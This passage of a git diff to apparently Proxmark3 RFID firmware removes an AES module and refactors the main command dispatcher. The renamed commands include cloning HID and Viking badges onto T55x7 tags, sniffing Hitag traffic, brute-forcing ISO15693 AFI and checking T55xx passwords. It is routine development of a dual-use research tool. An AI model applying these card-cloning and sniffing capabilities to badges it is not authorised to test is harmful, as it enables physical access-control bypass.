(AesCtxIni(&ctx, iv, key, KEY128, CBC) < 0) - printf("init error\n"); - - if (AesDecrypt(&ctx, databuf, databuf, sizeof(databuf)) < 0) - printf("error in decryption\n"); - - printf("%s\n", databuf); - - return 0; -} -#endif diff --git a/armsrc/aes.h b/armsrc/aes.h deleted file mode 100644 index aa9f0c582..000000000 --- a/armsrc/aes.h +++ /dev/null @@ -1,34 +0,0 @@ -/* -* AES Cryptographic Algorithm Header File. Include this header file in -* your source which uses these given APIs. (This source is kept under -* public domain) -*/ -#ifndef __AES_H -#define __AES_H - -// AES context structure -typedef struct { - unsigned int Ek[60]; - unsigned int Dk[60]; - unsigned int Iv[4]; - unsigned char Nr; - unsigned char Mode; -} AesCtx; - -// key length in bytes -#define KEY128 16 -#define KEY192 24 -#define KEY256 32 -// block size in bytes -#define BLOCKSZ 16 -// mode -#define EBC 0 -#define CBC 1 - -// AES API function prototype - -int AesCtxIni(AesCtx *pCtx, unsigned char *pIV, unsigned char *pKey, unsigned int KeyLen, unsigned char Mode); -int AesEncrypt(AesCtx *pCtx, unsigned char *pData, unsigned char *pCipher, unsigned int DataLen); -int AesDecrypt(AesCtx *pCtx, unsigned char *pCipher, unsigned char *pData, unsigned int CipherLen); - -#endif diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 23b55a23b..5bec32364 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -9,24 +9,40 @@ // The main application code. This is the first thing called after start.c // executes. //----------------------------------------------------------------------------- -#include -#include +#include "appmain.h" + +#include "clocks.h" #include "usb_cdc.h" -#include "proxmark3.h" -#include "apps.h" +#include "proxmark3_arm.h" +#include "dbprint.h" +#include "pmflash.h" #include "fpga.h" -#include "util.h" -#include "printf.h" +#include "fpga.h" +#include "fpgaloader.h" #include "string.h" #include "legicrf.h" -#include "legicrfsim.h" -#include "lfsampling.h" #include "BigBuf.h" -#include "mifareutil.h" +#include "iso14443a.h" +#include "iso14443b.h" +#include "iso15693.h" +#include "thinfilm.h" +#include "felica.h" +#include "hitag2.h" +#include "hitagS.h" +#include "iclass.h" +#include "legicrfsim.h" +#include "epa.h" +#include "hfsnoop.h" +#include "lfops.h" +#include "lfsampling.h" +#include "mifarecmd.h" +#include "mifaredesfire.h" #include "mifaresim.h" -#include "hitag.h" - -#define DEBUG 1 +#include "pcf7931.h" +#include "Standalone/standalone.h" +#include "util.h" +#include "ticks.h" +#include "commonutil.h" #ifdef WITH_LCD #include "LCD.h" @@ -42,6 +58,7 @@ #ifdef WITH_FLASH #include "flashmem.h" +#include "spiffs.h" #endif //============================================================================= @@ -56,6 +73,13 @@ int ToSendMax = -1; static int ToSendBit; struct common_area common_area __attribute__((section(".commonarea"))); int button_status = BUTTON_NO_CLICK; +bool allow_send_wtx = false; + +inline void send_wtx(uint16_t wtx) { + if (allow_send_wtx) { + reply_ng(CMD_WTX, PM3_SUCCESS, (uint8_t *)&wtx, sizeof(wtx)); + } +} void ToSendReset(void) { ToSendMax = -1; @@ -80,122 +104,6 @@ void ToSendStuffBit(int b) { } } -/* useful when debugging new protocol implementations like FeliCa -void PrintToSendBuffer(void) { - DbpString("Printing ToSendBuffer:"); - Dbhexdump(ToSendMax, ToSend, 0); -} -*/ - -void print_result(char *name, uint8_t *buf, size_t len) { - - uint8_t *p = buf; - uint16_t tmp = len & 0xFFF0; - - for (; p - buf < tmp; p += 16) { - Dbprintf("[%s: %02d/%02d] %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x", - name, - p - buf, - len, - p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15] - ); - } - if (len % 16 != 0) { - char s[46] = {0}; - char *sp = s; - for (; p - buf < len; p++) { - sprintf(sp, "%02x ", p[0]); - sp += 3; - } - Dbprintf("[%s: %02d/%02d] %s", name, p - buf, len, s); - } -} - -//============================================================================= -// Debug print functions, to go out over USB, to the usual PC-side client. -//============================================================================= - -void DbpStringEx(uint32_t flags, char *str) { -#if DEBUG - struct { - uint16_t flag; - uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)]; - } PACKED data; - data.flag = flags; - uint16_t len = MIN(strlen(str), sizeof(data.buf)); - memcpy(data.buf, str, len); - reply_ng(CMD_DEBUG_PRINT_STRING, PM3_SUCCESS, (uint8_t *)&data, sizeof(data.flag) + len); -#endif -} - -void DbpString(char *str) { -#if DEBUG - DbpStringEx(FLAG_LOG, str); -#endif -} - -#if 0 -void DbpIntegers(int x1, int x2, int x3) { - reply_old(CMD_DEBUG_PRINT_INTEGERS, x1, x2, x3, 0, 0); -} -#endif -void DbprintfEx(uint32_t flags, const char *fmt, ...) { -#if DEBUG - // should probably limit size here; oh well, let's just use a big buffer - char output_string[128] = {0x00}; - va_list ap; - va_start(ap, fmt); - kvsprintf(fmt, output_string, 10, ap); - va_end(ap); - - DbpStringEx(flags, output_string); -#endif -} - -void Dbprintf(const char *fmt, ...) { -#if DEBUG - // should probably limit size here; oh well, let's just use a big buffer - char output_string[128] = {0x00}; - va_list ap; - - va_start(ap, fmt); - kvsprintf(fmt, output_string, 10, ap); - va_end(ap); - - DbpString(output_string); -#endif -} - -// prints HEX & ASCII -void Dbhexdump(int len, uint8_t *d, bool bAsci) { -#if DEBUG - char ascii[9]; - - while (len > 0) { - - int l = (len > 8) ? 8 : len; - - memcpy(ascii, d, l); - ascii[l] = 0; - - // filter safe ascii - for (int i = 0; i < l; i++) { - if (ascii[i] < 32 || ascii[i] > 126) { - ascii[i] = '.'; - } - } - - if (bAsci) - Dbprintf("%-8s %*D", ascii, l, d, " "); - else - Dbprintf("%*D", l, d, " "); - - len -= 8; - d += 8; - } -#endif -} - //----------------------------------------------------------------------------- // Read an ADC channel and block till it completes, then return the result // in ADC units (0 to 1023). Also a routine to average 32 samples and @@ -238,11 +146,25 @@ uint16_t AvgAdc(int ch) { void MeasureAntennaTuning(void) { - uint8_t LF_Results[256]; - uint32_t i, peak = 0, peakv = 0, peakf = 0; - uint32_t v_lf125 = 0, v_lf134 = 0, v_hf = 0; // in mV + uint32_t peak = 0; + + // in mVolt + struct p { + uint32_t v_lf134; + uint32_t v_lf125; + uint32_t v_lfconf; + uint32_t v_hf; + uint32_t peak_v; + uint32_t peak_f; + int divisor; + uint8_t results[256]; + } PACKED payload; + + memset(payload.results, 0, sizeof(payload.results)); + + sample_config *sc = getSamplingConfig(); + payload.divisor = sc->divisor; - memset(LF_Results, 0, sizeof(LF_Results)); LED_B_ON(); /* @@ -255,24 +177,29 @@ void MeasureAntennaTuning(void) { */ FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); SpinDelay(50); - for (i = 255; i >= 19; i--) { + for (uint8_t i = 255; i >= 19; i--) { WDT_HIT(); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, i); SpinDelay(20); uint32_t adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); - if (i == 95) - v_lf125 = adcval; // voltage at 125Khz - if (i == 89) - v_lf134 = adcval; // voltage at 134Khz + if (i == LF_DIVISOR_125) + payload.v_lf125 = adcval; // voltage at 125kHz - LF_Results[i] = adcval >> 9; // scale int to fit in byte for graphing purposes - if (LF_Results[i] > peak) { - peakv = adcval; - peakf = i; - peak = LF_Results[i]; + if (i == LF_DIVISOR_134) + payload.v_lf134 = adcval; // voltage at 134kHz + + if (i == sc->divisor) + payload.v_lfconf = adcval; // voltage at `lf config q` + + payload.results[i] = adcval >> 9; // scale int to fit in byte for graphing purposes + + if (payload.results[i] > peak) { + payload.peak_v = adcval; + payload.peak_f = i; + peak = payload.results[i]; } } @@ -281,37 +208,32 @@ void MeasureAntennaTuning(void) { FpgaDownloadAndGo(FPGA_BITSTREAM_HF); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); SpinDelay(50); - v_hf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - // RDV40 will hit the roof, try other ADC channel used in that hardware revision. - if (v_hf > MAX_ADC_HF_VOLTAGE - 300) { - v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; - } +#if defined RDV4 + payload.v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else + payload.v_hf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif - uint64_t arg0 = v_lf134; - arg0 <<= 32; - arg0 |= v_lf125; - - uint64_t arg2 = peakv; - arg2 <<= 32; - arg2 |= peakf; - - reply_mix(CMD_MEASURE_ANTENNA_TUNING, arg0, v_hf, arg2, LF_Results, 256); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + reply_ng(CMD_MEASURE_ANTENNA_TUNING, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); LEDsoff(); } +// Measure HF in milliVolt uint16_t MeasureAntennaTuningHfData(void) { - uint16_t volt = 0; // in mV - volt = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - bool use_high = (volt > MAX_ADC_HF_VOLTAGE - 300); - if (!use_high) { - volt = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - } else { - volt = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; - } - return volt; +#if defined RDV4 + return (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else + return (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif + +} + +// Measure LF in milliVolt +uint32_t MeasureAntennaTuningLfData(void) { + return (MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10; } void ReadMem(int addr) { @@ -323,7 +245,7 @@ void ReadMem(int addr) { /* osimage version information is linked in */ extern struct version_information version_information; /* bootrom version information is pointed to from _bootphase1_version_pointer */ -extern char *_bootphase1_version_pointer, _flash_start, _flash_end, _bootrom_start, _bootrom_end, __data_src_start__; +extern char *_bootphase1_version_pointer, _flash_start, _flash_end, __data_src_start__; void SendVersion(void) { char temp[PM3_CMD_DATA_SIZE - 12]; /* Limited data payload in USB packets */ char VersionString[PM3_CMD_DATA_SIZE - 12] = { '\0' }; @@ -339,19 +261,25 @@ void SendVersion(void) { if (bootrom_version < &_flash_start || bootrom_version >= &_flash_end) { strcat(VersionString, "bootrom version information appears invalid\n"); } else { - FormatVersionInformation(temp, sizeof(temp), " bootrom: ", bootrom_version); + FormatVersionInformation(temp, sizeof(temp), " bootrom: ", bootrom_version); strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1); } - FormatVersionInformation(temp, sizeof(temp), " os: ", &version_information); + FormatVersionInformation(temp, sizeof(temp), " os: ", &version_information); strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1); - strncat(VersionString, "\n [ FPGA ]\n", sizeof(VersionString) - strlen(VersionString) - 1); +#if defined(__clang__) + strncat(VersionString, " compiled with Clang/LLVM "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1); +#elif defined(__GNUC__) || defined(__GNUG__) + strncat(VersionString, " compiled with GCC "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1); +#endif + + strncat(VersionString, "\n [ FPGA ]\n ", sizeof(VersionString) - strlen(VersionString) - 1); for (int i = 0; i < fpga_bitstream_num; i++) { strncat(VersionString, fpga_version_information[i], sizeof(VersionString) - strlen(VersionString) - 1); if (i < fpga_bitstream_num - 1) { - strncat(VersionString, "\n", sizeof(VersionString) - strlen(VersionString) - 1); + strncat(VersionString, "\n ", sizeof(VersionString) - strlen(VersionString) - 1); } } // Send Chip ID and used flash memory @@ -368,10 +296,18 @@ void SendVersion(void) { struct p payload; payload.id = *(AT91C_DBGU_CIDR); payload.section_size = text_and_rodata_section_size + compressed_data_section_size; - payload.versionstr_len = strlen(VersionString); - memcpy(payload.versionstr, VersionString, strlen(VersionString)); + payload.versionstr_len = strlen(VersionString) + 1; + memcpy(payload.versionstr, VersionString, payload.versionstr_len); - reply_ng(CMD_VERSION, PM3_SUCCESS, (uint8_t *)&payload, 12 + strlen(VersionString)); + reply_ng(CMD_VERSION, PM3_SUCCESS, (uint8_t *)&payload, 12 + payload.versionstr_len); +} + +void TimingIntervalAcquisition(void) { + // trigger new acquisition by turning main oscillator off and on + mck_from_pll_to_slck(); + mck_from_slck_to_pll(); + // wait for MCFR and recompute RTMR scaler + StartTickCount(); } // measure the Connection Speed by sending SpeedTestBufferSize bytes to client and measuring the elapsed time. @@ -422,6 +358,20 @@ void SendStatus(void) { Dbprintf(" ToSendMax...............%d", ToSendMax); Dbprintf(" ToSendBit...............%d", ToSendBit); Dbprintf(" ToSend BUFFERSIZE.......%d", TOSEND_BUFFER_SIZE); + while ((AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINRDY) == 0); // Wait for MAINF value to become available... + uint16_t mainf = AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINF; // Get # main clocks within 16 slow clocks + Dbprintf(" Slow clock..............%d Hz", (16 * MAINCK) / mainf); + uint32_t delta_time = 0; + uint32_t start_time = GetTickCount(); +#define SLCK_CHECK_MS 50 + SpinDelay(SLCK_CHECK_MS); + delta_time = GetTickCountDelta(start_time); + if ((delta_time < SLCK_CHECK_MS - 1) || (delta_time > SLCK_CHECK_MS + 1)) { + // error > 2% with SLCK_CHECK_MS=50 + Dbprintf(_RED_(" Slow Clock speed change detected, TIA needed")); + Dbprintf(_YELLOW_(" Slow Clock actual speed seems closer to %d kHz"), + (16 * MAINCK / 1000) / mainf * delta_time / SLCK_CHECK_MS); + } DbpString(_BLUE_("Installed StandAlone Mode")); ModInfo(); @@ -429,7 +379,7 @@ void SendStatus(void) { Flashmem_print_info(); #endif - reply_old(CMD_ACK, 1, 0, 0, 0, 0); + reply_ng(CMD_STATUS, PM3_SUCCESS, NULL, 0); } void SendCapabilities(void) { @@ -488,6 +438,11 @@ void SendCapabilities(void) { #else capabilities.compiled_with_hfsniff = false; #endif +#ifdef WITH_HFPLOT + capabilities.compiled_with_hfplot = true; +#else + capabilities.compiled_with_hfplot = false; +#endif #ifdef WITH_ISO14443a capabilities.compiled_with_iso14443a = true; #else @@ -518,6 +473,11 @@ void SendCapabilities(void) { #else capabilities.compiled_with_iclass = false; #endif +#ifdef WITH_NFCBARCODE + capabilities.compiled_with_nfcbarcode = true; +#else + capabilities.compiled_with_nfcbarcode = false; +#endif #ifdef WITH_LCD capabilities.compiled_with_lcd = true; #else @@ -528,15 +488,12 @@ void SendCapabilities(void) { // Show some leds in a pattern to identify StandAlone mod is running void StandAloneMode(void) { - - DbpString("Stand-alone mode! No PC necessary."); - + DbpString("Stand-alone mode, no computer necessary"); SpinDown(50); - SpinOff(50); + SpinDelay(50); SpinUp(50); - SpinOff(50); + SpinDelay(50); SpinDown(50); - SpinDelay(500); } /* @@ -572,7 +529,6 @@ void ListenReaderField(uint8_t limit) { uint16_t lf_av = 0, lf_av_new, lf_baseline = 0, lf_max = 0; uint16_t hf_av = 0, hf_av_new, hf_baseline = 0, hf_max = 0; uint16_t mode = 1, display_val, display_max; - bool use_high = false; // switch off FPGA - we don't want to measure our own signal // 20180315 - iceman, why load this before and then turn off? @@ -589,15 +545,12 @@ void ListenReaderField(uint8_t limit) { if (limit == HF_ONLY) { - hf_av = hf_max = AvgAdc(ADC_CHAN_HF); - +#if defined RDV4 // iceman, useless, since we are measuring readerfield, not our field. My tests shows a max of 20v from a reader. - // RDV40 will hit the roof, try other ADC channel used in that hardware revision. - use_high = (((MAX_ADC_HF_VOLTAGE * hf_max) >> 10) > MAX_ADC_HF_VOLTAGE - 300); - if (use_high) { - hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); - } - + hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); +#else + hf_av = hf_max = AvgAdc(ADC_CHAN_HF); +#endif Dbprintf("HF 13.56MHz Baseline: %dmV", (MAX_ADC_HF_VOLTAGE * hf_av) >> 10); hf_baseline = hf_av; } @@ -648,8 +601,11 @@ void ListenReaderField(uint8_t limit) { LED_B_OFF(); } - hf_av_new = (use_high) ? AvgAdc(ADC_CHAN_HF_RDV40) : AvgAdc(ADC_CHAN_HF); - +#if defined RDV4 + hf_av_new = AvgAdc(ADC_CHAN_HF_RDV40); +#else + hf_av_new = AvgAdc(ADC_CHAN_HF); +#endif // see if there's a significant change if (ABS(hf_av - hf_av_new) > REPORT_CHANGE) { Dbprintf("HF 13.56MHz Field Change: %5dmV", (MAX_ADC_HF_VOLTAGE * hf_av_new) >> 10); @@ -742,30 +698,57 @@ static void PacketReceived(PacketCommandNG *packet) { */ switch (packet->cmd) { - case CMD_QUIT_SESSION: + case CMD_BREAK_LOOP: + break; + case CMD_QUIT_SESSION: { reply_via_fpc = false; reply_via_usb = false; break; + } + // emulator + case CMD_SET_DBGMODE: { + DBGLEVEL = packet->data.asBytes[0]; + Dbprintf("Debug level: %d", DBGLEVEL); + reply_ng(CMD_SET_DBGMODE, PM3_SUCCESS, NULL, 0); + break; + } + // always available + case CMD_HF_DROPFIELD: { + hf_field_off(); + break; + } #ifdef WITH_LF - case CMD_SET_LF_T55XX_CONFIG: { - setT55xxConfig(packet->oldarg[0], (t55xx_config *) packet->data.asBytes); + case CMD_LF_T55XX_SET_CONFIG: { + setT55xxConfig(packet->oldarg[0], (t55xx_configurations_t *) packet->data.asBytes); break; } - case CMD_SET_LF_SAMPLING_CONFIG: { - setSamplingConfig((sample_config *) packet->data.asBytes); + case CMD_LF_SAMPLING_PRINT_CONFIG: { + printConfig(); break; } - case CMD_ACQUIRE_RAW_ADC_SAMPLES_125K: { + case CMD_LF_SAMPLING_GET_CONFIG: { + sample_config *config = getSamplingConfig(); + reply_ng(CMD_LF_SAMPLING_GET_CONFIG, PM3_SUCCESS, (uint8_t *)config, sizeof(sample_config)); + break; + } + case CMD_LF_SAMPLING_SET_CONFIG: { + sample_config c; + memcpy(&c, packet->data.asBytes, sizeof(sample_config)); + setSamplingConfig(&c); +// setSamplingConfig((sample_config *) packet->data.asBytes); + break; + } + case CMD_LF_ACQ_RAW_ADC: { struct p { - uint8_t silent; + uint8_t verbose; uint32_t samples; } PACKED; struct p *payload = (struct p *)packet->data.asBytes; - uint32_t bits = SampleLF(payload->silent, payload->samples); - reply_ng(CMD_ACQUIRE_RAW_ADC_SAMPLES_125K, PM3_SUCCESS, (uint8_t *)&bits, sizeof(bits)); + uint32_t bits = SampleLF(payload->verbose, payload->samples); + reply_ng(CMD_LF_ACQ_RAW_ADC, PM3_SUCCESS, (uint8_t *)&bits, sizeof(bits)); break; } - case CMD_MOD_THEN_ACQUIRE_RAW_ADC_SAMPLES_125K: { + case CMD_LF_MOD_THEN_ACQ_RAW_ADC: { struct p { uint32_t delay; uint16_t ones; @@ -775,67 +758,69 @@ static void PacketReceived(PacketCommandNG *packet) { ModThenAcquireRawAdcSamples125k(payload->delay, payload->zeros, payload->ones, packet->data.asBytes + 8); break; } - case CMD_LF_SNIFF_RAW_ADC_SAMPLES: { + case CMD_LF_SNIFF_RAW_ADC: { uint32_t bits = SniffLF(); reply_mix(CMD_ACK, bits, 0, 0, 0, 0); break; } - case CMD_HID_DEMOD_FSK: { + case CMD_LF_HID_DEMOD: { uint32_t high, low; - CmdHIDdemodFSK(packet->oldarg[0], &high, &low, 1); + CmdHIDdemodFSK(0, &high, &low, 1); break; } - case CMD_HID_SIM_TAG: { - CmdHIDsimTAG(packet->oldarg[0], packet->oldarg[1], 1); + case CMD_LF_HID_SIMULATE: { + lf_hidsim_t *payload = (lf_hidsim_t *)packet->data.asBytes; + CmdHIDsimTAG(payload->hi2, payload->hi, payload->lo, payload->longFMT, 1); break; } - case CMD_FSK_SIM_TAG: { + case CMD_LF_FSK_SIMULATE: { lf_fsksim_t *payload = (lf_fsksim_t *)packet->data.asBytes; CmdFSKsimTAG(payload->fchigh, payload->fclow, payload->separator, payload->clock, packet->length - sizeof(lf_fsksim_t), payload->data, true); break; } - case CMD_ASK_SIM_TAG: { + case CMD_LF_ASK_SIMULATE: { lf_asksim_t *payload = (lf_asksim_t *)packet->data.asBytes; CmdASKsimTAG(payload->encoding, payload->invert, payload->separator, payload->clock, packet->length - sizeof(lf_asksim_t), payload->data, true); break; } - case CMD_PSK_SIM_TAG: { + case CMD_LF_PSK_SIMULATE: { lf_psksim_t *payload = (lf_psksim_t *)packet->data.asBytes; - CmdPSKsimTag(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true); + CmdPSKsimTAG(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true); break; } - case CMD_HID_CLONE_TAG: { + case CMD_LF_NRZ_SIMULATE: { + lf_nrzsim_t *payload = (lf_nrzsim_t *)packet->data.asBytes; + CmdNRZsimTAG(payload->invert, payload->separator, payload->clock, packet->length - sizeof(lf_nrzsim_t), payload->data, true); + break; + } + case CMD_LF_HID_CLONE: { CopyHIDtoT55x7(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes[0]); break; } - case CMD_IO_DEMOD_FSK: { + case CMD_LF_IO_DEMOD: { uint32_t high, low; - CmdIOdemodFSK(packet->oldarg[0], &high, &low, 1); + CmdIOdemodFSK(0, &high, &low, 1); break; } - case CMD_IO_CLONE_TAG: { - CopyIOtoT55x7(packet->oldarg[0], packet->oldarg[1]); - break; - } - case CMD_EM410X_DEMOD: { + case CMD_LF_EM410X_DEMOD: { uint32_t high; uint64_t low; CmdEM410xdemod(packet->oldarg[0], &high, &low, 1); break; } - case CMD_EM410X_WRITE_TAG: { + case CMD_LF_EM410X_WRITE: { WriteEM410x(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2]); break; } - case CMD_READ_TI_TYPE: { + case CMD_LF_TI_READ: { ReadTItag(); break; } - case CMD_WRITE_TI_TYPE: { + case CMD_LF_TI_WRITE: { WriteTItag(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2]); break; } - case CMD_SIMULATE_TAG_125K: { + case CMD_LF_SIMULATE: { LED_A_ON(); struct p { uint16_t len; @@ -844,7 +829,7 @@ static void PacketReceived(PacketCommandNG *packet) { struct p *payload = (struct p *)packet->data.asBytes; // length, start gap, led control SimulateTagLowFrequency(payload->len, payload->gap, 1); - reply_ng(CMD_SIMULATE_TAG_125K, PM3_EOPABORTED, NULL, 0); + reply_ng(CMD_LF_SIMULATE, PM3_EOPABORTED, NULL, 0); LED_A_OFF(); break; } @@ -852,50 +837,49 @@ static void PacketReceived(PacketCommandNG *packet) { SimulateTagLowFrequencyBidir(packet->oldarg[0], packet->oldarg[1]); break; } - case CMD_INDALA_CLONE_TAG: { - CopyIndala64toT55x7(packet->data.asDwords[0], packet->data.asDwords[1]); - break; - } - case CMD_INDALA_CLONE_TAG_L: { - CopyIndala224toT55x7( - packet->data.asDwords[0], packet->data.asDwords[1], packet->data.asDwords[2], packet->data.asDwords[3], - packet->data.asDwords[4], packet->data.asDwords[5], packet->data.asDwords[6] - ); - break; - } - case CMD_T55XX_READ_BLOCK: { + case CMD_LF_T55XX_READBL: { struct p { uint32_t password; - uint8_t blockno; - uint8_t page; - bool pwdmode; + uint8_t blockno; + uint8_t page; + bool pwdmode; + uint8_t downlink_mode; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - T55xxReadBlock(payload->page, payload->pwdmode, false, payload->blockno, payload->password); + T55xxReadBlock(payload->page, payload->pwdmode, false, payload->blockno, payload->password, payload->downlink_mode); break; } - case CMD_T55XX_WRITE_BLOCK: { + case CMD_LF_T55XX_WRITEBL: { // uses NG format T55xxWriteBlock(packet->data.asBytes); break; } - case CMD_T55XX_WAKEUP: { - T55xxWakeUp(packet->oldarg[0]); + case CMD_LF_T55XX_DANGERRAW: { + T55xxDangerousRawTest(packet->data.asBytes); break; } - case CMD_T55XX_RESET_READ: { - T55xxResetRead(); + case CMD_LF_T55XX_WAKEUP: { + struct p { + uint32_t password; + uint8_t flags; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + T55xxWakeUp(payload->password, payload->flags); break; } - case CMD_T55XX_CHKPWDS: { - T55xx_ChkPwds(); + case CMD_LF_T55XX_RESET_READ: { + T55xxResetRead(packet->data.asBytes[0] & 0xff); break; } - case CMD_PCF7931_READ: { + case CMD_LF_T55XX_CHK_PWDS: { + T55xx_ChkPwds(packet->data.asBytes[0] & 0xff); + break; + } + case CMD_LF_PCF7931_READ: { ReadPCF7931(); break; } - case CMD_PCF7931_WRITE: { + case CMD_LF_PCF7931_WRITE: { WritePCF7931( packet->data.asBytes[0], packet->data.asBytes[1], packet->data.asBytes[2], packet->data.asBytes[3], packet->data.asBytes[4], packet->data.asBytes[5], packet->data.asBytes[6], packet->data.asBytes[9], @@ -906,7 +890,7 @@ static void PacketReceived(PacketCommandNG *packet) { ); break; } - case CMD_EM4X_READ_WORD: { + case CMD_LF_EM4X_READWORD: { struct p { uint32_t password; uint8_t address; @@ -916,7 +900,7 @@ static void PacketReceived(PacketCommandNG *packet) { EM4xReadWord(payload->address, payload->password, payload->usepwd); break; } - case CMD_EM4X_WRITE_WORD: { + case CMD_LF_EM4X_WRITEWORD: { struct p { uint32_t password; uint32_t data; @@ -927,48 +911,54 @@ static void PacketReceived(PacketCommandNG *packet) { EM4xWriteWord(payload->address, payload->data, payload->password, payload->usepwd); break; } - case CMD_AWID_DEMOD_FSK: { + case CMD_LF_AWID_DEMOD: { uint32_t high, low; // Set realtime AWID demodulation - CmdAWIDdemodFSK(packet->oldarg[0], &high, &low, 1); + CmdAWIDdemodFSK(0, &high, &low, 1); break; } - case CMD_VIKING_CLONE_TAG: { - CopyVikingtoT55xx(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2]); + case CMD_LF_VIKING_CLONE: { + struct p { + bool Q5; + uint8_t blocks[8]; + } PACKED; + struct p *payload = (struct p *)packet->data.asBytes; + CopyVikingtoT55xx(payload->blocks, payload->Q5); break; } - case CMD_COTAG: { + case CMD_LF_COTAG_READ: { Cotag(packet->oldarg[0]); break; } #endif #ifdef WITH_HITAG - case CMD_SNIFF_HITAG: { // Eavesdrop Hitag tag, args = type - SniffHitag(); + case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type + SniffHitag2(); +// SniffHitag2(packet->oldarg[0]); break; } - case CMD_SIMULATE_HITAG: { // Simulate Hitag tag, args = memory content - SimulateHitagTag((bool)packet->oldarg[0], packet->data.asBytes); + case CMD_LF_HITAG_SIMULATE: { // Simulate Hitag tag, args = memory content + SimulateHitag2((bool)packet->oldarg[0], packet->data.asBytes); break; } - case CMD_READER_HITAG: { // Reader for Hitag tags, args = type and function + case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function ReaderHitag((hitag_function)packet->oldarg[0], (hitag_data *)packet->data.asBytes); break; } - case CMD_SIMULATE_HITAG_S: { // Simulate Hitag s tag, args = memory content + case CMD_LF_HITAGS_SIMULATE: { // Simulate Hitag s tag, args = memory content SimulateHitagSTag((bool)packet->oldarg[0], packet->data.asBytes); break; } - case CMD_TEST_HITAGS_TRACES: { // Tests every challenge within the given file + case CMD_LF_HITAGS_TEST_TRACES: { // Tests every challenge within the given file check_challenges((bool)packet->oldarg[0], packet->data.asBytes); break; } - case CMD_READ_HITAG_S: { //Reader for only Hitag S tags, args = key or challenge + case CMD_LF_HITAGS_READ: { //Reader for only Hitag S tags, args = key or challenge ReadHitagS((hitag_function)packet->oldarg[0], (hitag_data *)packet->data.asBytes); break; } - case CMD_WR_HITAG_S: { //writer for Hitag tags args=data to write,page and key or challenge + case CMD_LF_HITAGS_WRITE: { //writer for Hitag tags args=data to write,page and key or challenge if ((hitag_function)packet->oldarg[0] < 10) { WritePageHitagS((hitag_function)packet->oldarg[0], (hitag_data *)packet->data.asBytes, packet->oldarg[2]); } else { @@ -979,50 +969,50 @@ static void PacketReceived(PacketCommandNG *packet) { #endif #ifdef WITH_ISO15693 - case CMD_ACQUIRE_RAW_ADC_SAMPLES_ISO_15693: { + case CMD_HF_ISO15693_ACQ_RAW_ADC: { AcquireRawAdcSamplesIso15693(); break; } - case CMD_RECORD_RAW_ADC_SAMPLES_ISO_15693: { + case CMD_HF_ISO15693_RAWADC: { RecordRawAdcSamplesIso15693(); break; } - case CMD_ISO_15693_COMMAND: { + case CMD_HF_ISO15693_COMMAND: { DirectTag15693Command(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } - case CMD_ISO_15693_FIND_AFI: { + case CMD_HF_ISO15693_FINDAFI: { BruteforceIso15693Afi(packet->oldarg[0]); break; } - case CMD_READER_ISO_15693: { + case CMD_HF_ISO15693_READER: { ReaderIso15693(packet->oldarg[0]); break; } - case CMD_SIMTAG_ISO_15693: { + case CMD_HF_ISO15693_SIMULATE: { SimTagIso15693(packet->oldarg[0], packet->data.asBytes); break; } #endif #ifdef WITH_LEGICRF - case CMD_SIMULATE_TAG_LEGIC_RF: { + case CMD_HF_LEGIC_SIMULATE: { LegicRfSimulate(packet->oldarg[0]); break; } - case CMD_WRITER_LEGIC_RF: { + case CMD_HF_LEGIC_WRITER: { LegicRfWriter(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } - case 